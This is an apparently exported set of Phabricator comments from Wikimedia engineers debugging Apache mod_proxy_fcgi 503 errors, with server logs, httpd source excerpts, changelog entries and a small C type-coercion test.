+689386,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Performed the same test on mw1261, same result. I compared one meta.wikimedia.org request ending up with AH01609 and a ""regular"" one, the only diff that I found was the absence of ""Set-Cookie: centralauth_Token"" in the former.",,,1467810572,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+689364,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVXADwsIgCrwkbTdmdy-} [2016-07-06T11:54:19Z] <elukey> depooling mw1261.eqiad.wmnet to raise Apache's mod-fcgi to trace8 for 503 investigation - T73487 (this will probably slow down a bit the host)",,,1467806059,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,52,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+688747,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","So since I am very lucky, I discovered that the FCGI header dump has been released only on 2.4.17:
+
+https://github.com/apache/httpd/commit/1dc13b934b683427e2bb906ced97804ec5318266
+
+I tried anyway on mw1024 and got:
+
+```
+[Tue Jul 05 14:11:11.927064 2016] [proxy_fcgi:trace4] [pid 21493:tid 139785842632448] util_script.c(523):
+Content-Encoding: gzip, referer: https://ru.wikipedia.org
+
+[Tue Jul 05 14:11:11.927070 2016] [proxy_fcgi:trace4] [pid 21493:tid 139785842632448] util_script.c(523):
+Content-Length: 10048, referer: https://ru.wikipedia.org
+
+[Tue Jul 05 14:11:11.927076 2016] [proxy_fcgi:trace4] [pid 21493:tid 139785842632448] util_script.c(523):
+Vary: Accept-Encoding, Cookie, Authorization, referer: https://ru.wikipedia.org
+
+[Tue Jul 05 14:11:11.927082 2016] [proxy_fcgi:trace4] [pid 21493:tid 139785842632448] util_script.c(523):
+Last-modified: Fri, 11 Sep 2015 02:13:37 GMT, referer: https://ru.wikipedia.org
+
+[Tue Jul 05 14:11:11.927110 2016] [proxy_fcgi:error] [pid 21493:tid 139785842632448]
+AH01070: Error parsing script headers, referer: https://ru.wikipedia.org
+
+[Tue Jul 05 14:11:11.927124 2016] [proxy_fcgi:error] [pid 21493:tid 139785842632448]
+AH01069: Got bogus rid 9030, expected 1, referer: https://ru.wikipedia.org
+
+[Tue Jul 05 14:11:11.927141 2016] [proxy_fcgi:error] [pid 21493:tid 139785842632448] (22)Invalid argument:
+AH01075: Error dispatching request to :, referer: https://ru.wikipedia.org
+```
+
+Highlight: Content-Length: 10048  --> so it seems that a response is indeed returned (doesn't tell us anything about the fcgi headers)
+
+Since AH01075 was resolved simply checking if the connection was aborted or not by the client, a similar problem might affect AH01069 that comes right before it in the code.
+",,,1467730448,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+688606,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVW6-H1Y1EdYBLP_8E2Q} [2016-07-05T12:11:35Z] <elukey> depooling/re-pooling mw1024.eqiad.wmnet to temporarily set up trace8 logging (503 investigation - T73487)",,,1467720695,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,52,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+688139,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Interesting note about ""AH01069: Got bogus rid 9030, expected 1"": I checked access logs related to some error from https://logstash.wikimedia.org/#/dashboard/elasticsearch/apache2log and I always found something like:
+
+```
+2016-07-03T21:12:26     47794      proxy-server/503        0       GET     http://meta.wikimedia.org/w/index.php
+```
+
+This matches what I have noticed in the code, namely that mod-proxy-fcgi reads the FCGI response headers and skips the body if the request id is not 1. The value should be used to multiplex multiple request over the same FCGI connection but it is not supported by mod-proxy-fcgi, so it seems that something mangles the FCGI request id. 
+
+Not sure about what the ""9030"" value means since it is always present.",,,1467629260,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1
+688137,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Interesting note about ""AH01069: Got bogus rid 9030, expected 1"": I checked access logs for some error logs found in https://logstash.wikimedia.org/#/dashboard/elasticsearch/apache2log and I always found something like:
+
+```
+2016-07-03T21:12:26     47794      proxy-server/503        0       GET     http://meta.wikimedia.org/w/index.php
+```
+
+This matches what I have noticed in the code, namely that mod-proxy-fcgi reads the FCGI response headers and skips the body if the request id is not 1. The value should be used to multiplex multiple request over the same FCGI connection but it is not supported by mod-proxy-fcgi, so it seems that something mangles the FCGI request id. 
+
+Not sure about what the ""9030"" value means since it is always present.",,,1467629202,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1
+687418,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Also the Bogus request id is surely a bug since you can read this comment in the function that calls dispatch (that logs the error):
+
+```
+/*
+ * process the request and write the response.
+ */
+static int fcgi_do_request(apr_pool_t *p, request_rec *r,
+                           proxy_conn_rec *conn,
+                           conn_rec *origin,
+                           proxy_dir_conf *conf,
+                           apr_uri_t *uri,
+                           char *url, char *server_portstr)
+{
+    /* Request IDs are arbitrary numbers that we assign to a
+     * single request. This would allow multiplex/pipelining of
+     * multiple requests to the same FastCGI connection, but
+     * we don't support that, and always use a value of '1' to
+     * keep things simple. */
+    apr_uint16_t request_id = 1;
+```",,,1467388087,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+687406,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",">>! In T73487#2393128, @Joe wrote:
+> The ""got bogus version 1"" is a logging bug and has been fixed in the jessie apache package.
+
+Might be useful to keep track of everything:
+
+https://bz.apache.org/bugzilla/show_bug.cgi?id=56110
+https://svn.apache.org/r1564756
+
+From 2.4.7 to 2.4.10 there are these relevant changes (from https://www.apache.org/dist/httpd/CHANGES_2.4):
+
+  *) mod_proxy_fcgi: Use apr_socket_timeout_get instead of hard-coded
+     30 seconds timeout. [Jan Kaluza]
+  *) mod_proxy_fcgi: Fix error message when an unexpected protocol version
+     number is received from the application.  PR 56110.  [Jeff Trawick]
+  *) core: Detect incomplete request and response bodies, log an error and
+     forward it to the underlying filters. PR 55475 [Yann Ylavic]
+  *) mod_proxy_fcgi: Fix sending of response without some HTTP headers
+     that might be set by filters.  PR 55558. [Jim Riggs <jim riggs.me>]
+  *) mod_proxy_fcgi: Support iobuffersize parameter.  [Jeff Trawick]
+  *) mod_proxy_fcgi: Fix occasional high CPU when handling request bodies.
+     [Jeff Trawick]
+
+From 2.4.10 onwards:
+
+2.4.19
+  *) mod_proxy_fcgi: Suppress HTTP error 503 and message 01075, 
+     ""Error dispatching request"", when the cause appears to be 
+     due to the client closing the connection. 
+     PR58118.  [Tobias Adolph <adolph lrz.de>]
+
+This one --^ might be easy to add as patch and afaiu is one of the main issues listed in this task. Related PR https://bz.apache.org/bugzilla/show_bug.cgi?id=58118
+
+2.4.11 (that was not released, so 2.4.12):
+
+Changes with Apache 2.4.11 (not released)
+  
+  *) SECURITY: CVE-2014-3583 (cve.mitre.org)
+     mod_proxy_fcgi: Fix a potential crash due to buffer over-read, with 
+     response headers' size above 8K.  [Yann Ylavic, Jeff Trawick]
+
+  *) mod_proxy_fcgi: Provide some basic alternate options for specifying 
+     how PATH_INFO is passed to FastCGI backends by adding significance to
+     the value of proxy-fcgi-pathinfo. PR 55329. [Eric Covener]
+ 
+  *) mod_proxy_fcgi: Enable UDS backends configured with SetHandler/RewriteRule
+     to opt-in to connection reuse and other Proxy options via explicitly
+     declared ""proxy workers"" (<Proxy unix:... enablereuse=on max=...)
+     [Eric Covener]
+
+  *) mod_proxy: Add ""enablereuse"" option as the inverse of ""disablereuse"".
+     [Eric Covener]
+
+  *) mod_proxy_fcgi: Enable opt-in to TCP connection reuse by explicitly
+     setting proxy option disablereuse=off. [Eric Covener] PR 57378.
+
+  *) mod_proxy_fcgi: Remove proxy:balancer:// prefix from SCRIPT_FILENAME
+     passed to fastcgi backends. [Eric Covener]
+
+  *) mod_proxy_fcgi: Ignore body data from backend for 304 responses. PR 57198.
+     [Jan Kaluza]
+
+  *) mod_proxy_fcgi, mod_authnz_fcgi: stop reading the response and issue an
+     error when parsing or forwarding the response fails. [Yann Ylavic]
+
+  *) mod_proxy_fcgi: Fix faulty logging of large amounts of stderr from the
+     application.  PR 56858.  [Manuel Mausz <manuel-asf mausz.at>]",,,1467386710,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+687405,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",">>! In T73487#2393128, @Joe wrote:
+> The ""got bogus version 1"" is a logging bug and has been fixed in the jessie apache package.
+
+Might be useful to keep track of everything:
+
+https://bz.apache.org/bugzilla/show_bug.cgi?id=56110
+https://svn.apache.org/r1564756
+
+From 2.4.7 to 2.4.10 there are these relevant changes (from https://www.apache.org/dist/httpd/CHANGES_2.4):
+
+  *) mod_proxy_fcgi: Use apr_socket_timeout_get instead of hard-coded
+     30 seconds timeout. [Jan Kaluza]
+  *) mod_proxy_fcgi: Fix error message when an unexpected protocol version
+     number is received from the application.  PR 56110.  [Jeff Trawick]
+  *) core: Detect incomplete request and response bodies, log an error and
+     forward it to the underlying filters. PR 55475 [Yann Ylavic]
+  *) mod_proxy_fcgi: Fix sending of response without some HTTP headers
+     that might be set by filters.  PR 55558. [Jim Riggs <jim riggs.me>]
+  *) mod_proxy_fcgi: Support iobuffersize parameter.  [Jeff Trawick]
+  *) mod_proxy_fcgi: Fix occasional high CPU when handling request bodies.
+     [Jeff Trawick]
+
+From 2.4.10 onwards:
+
+2.4.19
+  *) mod_proxy_fcgi: Suppress HTTP error 503 and message 01075, 
+     ""Error dispatching request"", when the cause appears to be 
+     due to the client closing the connection. 
+     PR58118.  [Tobias Adolph <adolph lrz.de>]
+
+This one --^ might be easy to add as patch and afaiu is one of the main issues listed in this task.
+
+2.4.11 (that was not released, so 2.4.12):
+
+Changes with Apache 2.4.11 (not released)
+  
+  *) SECURITY: CVE-2014-3583 (cve.mitre.org)
+     mod_proxy_fcgi: Fix a potential crash due to buffer over-read, with 
+     response headers' size above 8K.  [Yann Ylavic, Jeff Trawick]
+
+  *) mod_proxy_fcgi: Provide some basic alternate options for specifying 
+     how PATH_INFO is passed to FastCGI backends by adding significance to
+     the value of proxy-fcgi-pathinfo. PR 55329. [Eric Covener]
+ 
+  *) mod_proxy_fcgi: Enable UDS backends configured with SetHandler/RewriteRule
+     to opt-in to connection reuse and other Proxy options via explicitly
+     declared ""proxy workers"" (<Proxy unix:... enablereuse=on max=...)
+     [Eric Covener]
+
+  *) mod_proxy: Add ""enablereuse"" option as the inverse of ""disablereuse"".
+     [Eric Covener]
+
+  *) mod_proxy_fcgi: Enable opt-in to TCP connection reuse by explicitly
+     setting proxy option disablereuse=off. [Eric Covener] PR 57378.
+
+  *) mod_proxy_fcgi: Remove proxy:balancer:// prefix from SCRIPT_FILENAME
+     passed to fastcgi backends. [Eric Covener]
+
+  *) mod_proxy_fcgi: Ignore body data from backend for 304 responses. PR 57198.
+     [Jan Kaluza]
+
+  *) mod_proxy_fcgi, mod_authnz_fcgi: stop reading the response and issue an
+     error when parsing or forwarding the response fails. [Yann Ylavic]
+
+  *) mod_proxy_fcgi: Fix faulty logging of large amounts of stderr from the
+     application.  PR 56858.  [Manuel Mausz <manuel-asf mausz.at>]",,,1467386561,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+687373,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",">>! In T73487#2393128, @Joe wrote:
+> The ""got bogus version 1"" is a logging bug and has been fixed in the jessie apache package.
+
+Might be useful to keep track of everything:
+
+https://bz.apache.org/bugzilla/show_bug.cgi?id=56110
+https://svn.apache.org/r1564756
+
+From 2.4.7 to 2.4.10 there are these relevant changes (from https://www.apache.org/dist/httpd/CHANGES_2.4):
+
+  *) mod_proxy_fcgi: Use apr_socket_timeout_get instead of hard-coded
+     30 seconds timeout. [Jan Kaluza]
+  *) mod_proxy_fcgi: Fix error message when an unexpected protocol version
+     number is received from the application.  PR 56110.  [Jeff Trawick]
+  *) core: Detect incomplete request and response bodies, log an error and
+     forward it to the underlying filters. PR 55475 [Yann Ylavic]
+  *) mod_proxy_fcgi: Fix sending of response without some HTTP headers
+     that might be set by filters.  PR 55558. [Jim Riggs <jim riggs.me>]
+  *) mod_proxy_fcgi: Support iobuffersize parameter.  [Jeff Trawick]
+  *) mod_proxy_fcgi: Fix occasional high CPU when handling request bodies.
+     [Jeff Trawick]
+
+
+",,,1467384482,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,1,1,0,1,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+681791,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","With the following code snippet I obtain:
+
+```
+First test:
+b:1 (char) or b:49 (int) is different than a:1!
+Second test:
+Equal!
+```
+
+```
+#include <stdio.h>
+
+#define ONE 1
+
+int main() {
+
+    unsigned int c = 1;
+    unsigned char one_char = '1';
+    printf(""First test:\n"");
+    if (one_char != ONE) {
+        printf(""b:%c (char) or b:%d (int) is different than a:%d!\n"",
+                one_char, (int)one_char, ONE);
+    } else {
+        printf(""Equal!\n"");
+    }
+    printf(""Second test:\n"");
+    if (c != ONE) {
+        printf(""c:%d is different than a:%d!\n"",
+                c, ONE);
+    } else {
+        printf(""Equal!\n"");
+    }
+
+    return 1;
+}
+```
+
+Possibly a type coercion problem between int and unsigned char?
+EDITED: didn't see Joe's answer before writing this :)",,,1466416795,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,50,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,1
+681788,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","With the following code snippet I obtain:
+
+```
+First test:
+b:1 (char) or b:49 (int) is different than a:1!
+Second test:
+Equal!
+```
+
+```
+#include <stdio.h>
+
+#define ONE 1
+
+int main() {
+
+    unsigned int c = 1;
+    unsigned char one_char = '1';
+    printf(""First test:\n"");
+    if (one_char != ONE) {
+        printf(""b:%c (char) or b:%d (int) is different than a:%d!\n"",
+                one_char, (int)one_char, ONE);
+    } else {
+        printf(""Equal!\n"");
+    }
+    printf(""Second test:\n"");
+    if (c != ONE) {
+        printf(""c:%d is different than a:%d!\n"",
+                c, ONE);
+    } else {
+        printf(""Equal!\n"");
+    }
+
+    return 1;
+}
+```
+
+Possibly a type coercion problem between int and unsigned char?",,,1466416670,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,50,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,1
+681784,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","The ""got bogus version 1"" is a logging bug and has been fixed in the jessie apache package.
+
+Your suggestions make a lot of sense, in fact.
+
+From the few bug reports about this I found, it seems this error happens under high concurrency. It doesn't seem to cause any user-facing error though.",,,1466415933,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,50,True,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+681749,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Adding some random thoughts about the following snippet of code (current httpd trunk):
+
+```
+            ap_log_rdata(APLOG_MARK, APLOG_TRACE8, r, ""FastCGI header"",
+                         farray, AP_FCGI_HEADER_LEN, 0);
+
+            ap_fcgi_header_fields_from_array(&version, &type, &rid,
+                                             &clen, &plen, farray);
+
+            if (version != AP_FCGI_VERSION_1) {
+                ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(01068)
+                              ""Got bogus version %d"", (int)version);
+                rv = APR_EINVAL;
+                break;
+            }
+
+            if (rid != request_id) {
+                ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(01069)
+                              ""Got bogus rid %d, expected %d"",
+                              rid, request_id);
+                rv = APR_EINVAL;
+                break;
+            }
+```
+
+Also in utils_fcgi.h:
+
+```
+/**
+ * Possible values for the version field of ap_fcgi_header
+ */
+#define AP_FCGI_VERSION_1 1
+```
+
+Checked on fluorine and got logs like:
+
+```
+Jun 20 06:31:56 mw1254:  [proxy_fcgi:error] [pid 43696:tid 140476912961280] [client 10.64.0.105:36820] AH01068: Got bogus version 1, referer: https://commons.wikimedia.org/
+Jun 20 06:31:56 mw1271:  [proxy_fcgi:error] [pid 140227:tid 139763034076928] [client 10.64.0.103:46746] AH01068: Got bogus version 215, referer: https://nl.wikipedia.org/
+```
+
+We could:
+
+1) set LogLevel proxy_fcgi trace8 temporarily on a single machine to leverage ap_log_rdata and double check version/rid
+
+2) Do some tests about the condition (version != AP_FCGI_VERSION_1), because it doesn't make any sense the ""Got bogus version 1"" error, since AP_FCGI_VERSION_1 is one.
+
+3) Figure out why we get also ""Got bogus version X"" with X > 1",,,1466410086,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,50,True,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+678380,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","The bug I mentioned earlier was for the `AH01070` and has been fixed in our new apache package for jessie.
+
+The still bogus errors `got bogus version` are still unsolved and there is an unfixed bug report for apache https://bz.apache.org/bugzilla/show_bug.cgi?id=57398
+
+Quite interestingly, the bogus report only happens on regular appservers, not on the API ones; this might give us a chance to isolate it better.",,,1465807296,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,49,True,0,0,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0
+464926,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Would be nice to get rid of those errors. They are quite spammy in logstash.
+
+@joe mentioned it should be fixed via https://bz.apache.org/bugzilla/show_bug.cgi?id=52879 , the patch has a follow up at https://bz.apache.org/bugzilla/show_bug.cgi?id=57198",,,1432805020,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0
+437065,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Still seeing lots of these in logstash. https://logstash.wikimedia.org/#/dashboard/elasticsearch/apache2log
+
+18,878 hits for this error in the last 15 minutes alone (most frequent error).
+
+```
+2015-02-06T21:52:23.000Z	error	proxy_fcgi	mw1020	(22)Invalid argument: AH01075: Error dispatching request to ...
+2015-02-06T21:52:23.000Z	error	proxy_fcgi	mw1243	(22)Invalid argument: AH01075: Error dispatching request to ...
+2015-02-06T21:52:23.000Z	error	proxy_fcgi	mw1210	(22)Invalid argument: AH01075: Error dispatching request to ...
+2015-02-06T21:52:22.000Z	error	proxy_fcgi	mw1242	(22)Invalid argument: AH01075: Error dispatching request to ...
+2015-02-06T21:52:22.000Z	error	proxy_fcgi	mw1185	(22)Invalid argument: AH01075: Error dispatching request to ...
+	..
+	referrer	  	http://fr.wikipedia.org/w/index.php?title=Portail:Triathlon/Index_th%C3%A9matique&action=submit
+```",,,1427963531,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,1,1
+407997,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Still seeing lots of these in logstash. https://logstash.wikimedia.org/#/dashboard/elasticsearch/apache2log
+
+```
+2015-02-06T21:52:23.000Z	error	proxy_fcgi	mw1020	(22)Invalid argument: AH01075: Error dispatching request to ...
+2015-02-06T21:52:23.000Z	error	proxy_fcgi	mw1243	(22)Invalid argument: AH01075: Error dispatching request to ...
+2015-02-06T21:52:23.000Z	error	proxy_fcgi	mw1210	(22)Invalid argument: AH01075: Error dispatching request to ...
+2015-02-06T21:52:22.000Z	error	proxy_fcgi	mw1242	(22)Invalid argument: AH01075: Error dispatching request to ...
+2015-02-06T21:52:22.000Z	error	proxy_fcgi	mw1185	(22)Invalid argument: AH01075: Error dispatching request to ...
+	..
+	referrer	  	http://fr.wikipedia.org/w/index.php?title=Portail:Triathlon/Index_th%C3%A9matique&action=submit
+```",,,1423259888,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+327197,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",https://issues.apache.org/bugzilla/show_bug.cgi?id=52879,,,1412952905,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+327193,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","So, both these lines of errors have been showed to be basically bogus.
+
+I think the only way to filter/silence them is to patch apache directly.
+
+@Erik: never look at trunk for apache sources, but to our specific version, which is 2.4.7
+
+The only way to make these alarms go away is to backport patches that corrected logging.
+
